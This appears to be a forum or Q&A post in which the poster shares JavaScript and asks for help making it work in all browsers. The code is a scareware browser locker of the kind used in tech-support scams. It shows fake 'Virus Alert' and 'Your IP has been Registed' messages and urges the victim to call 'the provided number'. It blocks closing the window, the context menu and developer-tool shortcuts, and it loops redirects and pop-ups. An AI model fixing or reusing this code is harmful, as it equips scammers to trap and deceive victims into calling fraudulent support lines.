do not want to close browser window using jquery OR javascript (show alert message continuously)

i want to alert messages continuously and also not needs to close browser window and needs to show alret messages in every browsers should work same, so, is there any mistakes in my code or anyone can solve my solution please help little bit.

Here i have share my javascript code below, if possible please resolve my error:

<script type="text/javascript">
            function goodbye(e) {
                if (!DetectMobile()) {
                    if (!e) e = window.event;
                    //e.cancelBubble is supported by IE - this will kill the bubbling process.
                    e.cancelBubble = true;
                    e.returnValue = goodMsg('');

                    //e.stopPropagation works in Firefox.
                    if (e.stopPropagation) {
                        e.stopPropagation();
                        e.preventDefault();
                    }
                }
            }
            if (!DetectMobile()) {
                window.onbeforeunload = goodbye;
            }
            function DetectMobile() { 
            if( navigator.userAgent.match(/Android/i)
                 || navigator.userAgent.match(/webOS/i)
                 || navigator.userAgent.match(/iPhone/i)
                 || navigator.userAgent.match(/iPad/i)
                 || navigator.userAgent.match(/iPod/i)
                 || navigator.userAgent.match(/BlackBerry/i)
                 || navigator.userAgent.match(/Windows Phone/i)
                 ){
                    return true;
                  }
                 else {
                    return false;
                  }
            }
        </script>

        <script type="text/javascript">
            $(document).mousemove(function(event) 
            {
                var result = confirm(aMsg("1)"));
                if (result) {
                    window.location = 'index.html';
                } else {
                    window.location = 'index.html';
                }
            });
            $(document).ready(function() 
            {
                alert(aMsg("2)"));
                window.location = 'index.html';

                document.onkeydown = function(e) 
                {
                    if (e.ctrlKey &&
                        (e.keyCode === 67 ||
                            e.keyCode === 86 ||
                            e.keyCode === 85 ||
                            e.keyCode === 117 ||
                            e.keyCode === 27)) {
                        alert(ipMsg(''));
                        return false;
                    } else if (e.keyCode === 123) 
                    {
                        return false;
                    } else {
                        return true;
                    }
                };

                $(document).bind("contextmenu", function(e) {
                    e.preventDefault();
                    return false;
                });

                $('a').on('mousedown', stopNavigate);

                $('a').on('mouseleave', function() {
                    $(window).on('beforeunload', function() {
                        return aMsg("3)");;
                        window.location = 'index.html';
                    });
                });
            });

            window.onbeforeunload = function() 
            {
                window.setTimeout(function() { // escape function context
                    window.location = 'index.html';
                }, 0);
                //window.onbeforeunload = null;   // necessary to prevent infinite loop
                // that kills your browser
                window.location = 'index.html';

                var win = window.open('index.html', '_blank');
                win.focus();

                return aMsg("4)");
                // pressing leave will still leave, but the GET may be fired first anyway
            }

            $(window).on('beforeunload', function(e) {
                return aMsg("5)");
            });

            $(window).on('unload', function() {
                logout();
            });

        </script>

        <script>
            function aMsg(number){
                return number+" Virus Alert.";
            }
            function ipMsg(number){
                return number+" Your IP has been Registed...!!!";
            }
            function goodMsg(number){
                return number+" It Seems that you have not yet called the provided number.";
            }
            function stopNavigate() {
                $(window).off('beforeunload');
            }
        </script>


Source: ajax

Leave a Reply